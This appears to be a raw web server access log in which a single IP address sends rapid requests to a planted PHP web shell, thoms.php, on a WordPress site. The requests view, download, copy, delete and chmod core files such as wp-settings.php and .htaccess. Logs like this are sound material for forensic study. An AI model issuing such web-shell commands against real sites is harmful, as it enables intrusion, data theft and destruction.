45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?chmod=wp-content&p=bestzyx.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?chmod=upgrade&p=bestzyx.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?del=filefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 17536 "http://163.245.207.76:443/thoms.php?del=filefuns.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /bestzyx.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?chmod=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?dl=wp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 17542 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /bestzyx.com.tw/roster-vendor/ HTTP/1.1" 200 6349 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p= HTTP/1.1" 200 11672 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13974 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?del=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 17542 "http://163.245.207.76:443/thoms.php?del=mah.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?dl=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 17537 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?chmod=roster-vendor&p=bestzyx.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=roster-vendor&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 17541 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p= HTTP/1.1" 200 11670 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=index.php HTTP/1.1" 200 12049 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?del=wp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 17541 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 17524 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-settings.php HTTP/1.1" 200 19464 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /bestzyx.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=license.txt HTTP/1.1" 200 20085 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?dl=readme.html&p=bestzyx.com.tw HTTP/1.1" 200 17534 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 404 10462 "https://163.245.207.76/bestzyx.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 17534 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-cron.php HTTP/1.1" 200 14188 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 17534 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /bestzyx.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:52 -0400] "GET /bestzyx.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?del=roster-vendor&p=bestzyx.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?del=roster-vendor&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13032 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p= HTTP/1.1" 200 11663 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?chmod=cgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /bestzyx.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=error_log HTTP/1.1" 200 14588 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12038 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /bestzyx.com.tw/upgrade/ HTTP/1.1" 200 6678 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?dl=wp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 12583 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?del=upgrade&p=bestzyx.com.tw HTTP/1.1" 200 17533 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11662 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?del=wp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 17536 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?del=wp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-activate.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13273 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?del=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 17534 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?chmod=error_log&p=bestzyx.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=mah.php HTTP/1.1" 200 11818 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /bestzyx.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /bestzyx.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /bestzyx.com.tw/thoms.php?p= HTTP/1.1" 200 16371 "https://163.245.207.76/bestzyx.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /bestzyx.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /bestzyx.com.tw/optimized-validator/ HTTP/1.1" 200 6446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?dl=index.php&p=bestzyx.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:54 -0400] "GET /thoms.php?del=xmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-trackback.php HTTP/1.1" 200 14091 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p= HTTP/1.1" 200 11658 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /bestzyx.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=thoms.php HTTP/1.1" 200 11811 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-load.php HTTP/1.1" 200 13664 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11660 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?dl=locoy.php&p=bestzyx.com.tw HTTP/1.1" 200 17536 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?del=wp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 17536 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=xmlrpc.php HTTP/1.1" 200 13366 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?chmod=.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
